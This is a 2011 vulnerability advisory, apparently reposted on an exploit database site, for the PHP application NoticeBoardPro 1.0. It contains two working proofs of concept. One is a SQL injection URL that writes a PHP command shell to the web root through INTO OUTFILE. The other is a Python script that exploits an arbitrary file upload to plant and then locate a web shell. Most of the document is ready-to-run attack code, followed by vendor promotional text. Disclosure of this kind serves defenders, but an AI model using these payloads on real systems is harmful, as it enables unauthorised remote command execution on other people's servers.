# ------------------------------------------------------------------------
# Software................NoticeBoardPro 1.0
# Vulnerability...........SQL Injection
# Threat Level............Critical (4/5)
# Download................http://www.NoticeBoardPro.com/
# Discovery Date..........5/11/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <[email protected]>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# A sql injection vulnerability in NoticeBoardPro 1.0 can be exploited
# to extract arbitrary data. In some environments it may be possible to
# create a PHP shell.
#
#
# --PoC--
http://localhost/noticeboardpro/deleteItem3.php?noticeID=&userID='and%201=0%20UNION%20SELECT%20'%3C?php%20echo%20system($_GET[%22CMD%22]);%20?%3E','','','','','','','','','','',''%20FROM%20dual%20INTO%20OUTFILE%20'../../htdocs/shell.php';%23
# ------------------------------------------------------------------------
# Software................NoticeBoardPro 1.0
# Vulnerability...........Arbitrary Upload
# Threat Level............Very Critical (5/5)
# Download................http://www.NoticeBoardPro.com/
# Discovery Date..........5/11/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <[email protected]>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# An arbitrary upload vulnerability in NoticeBoardPro 1.0 can be
# exploited to upload a PHP shell.
#
#
# --PoC--
import socket
host = 'localhost'
path = '/noticeboardpro'
shell_path = path + '/photos/shell.php'
port = 80
def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
s.send('POST ' + path + '/editItem1.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Proxy-Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 251\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="picture_name"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="picture"; filename="shell.php"\r\n'
'Content-Type: image/jpeg\r\n'
'\r\n'
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
'------x--\r\n')
resp = s.recv(8192)
http_ok = 'HTTP/1.1 200 OK'
if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')
if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else: print 'shell located at http://' + host + shell_path
upload_shell()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation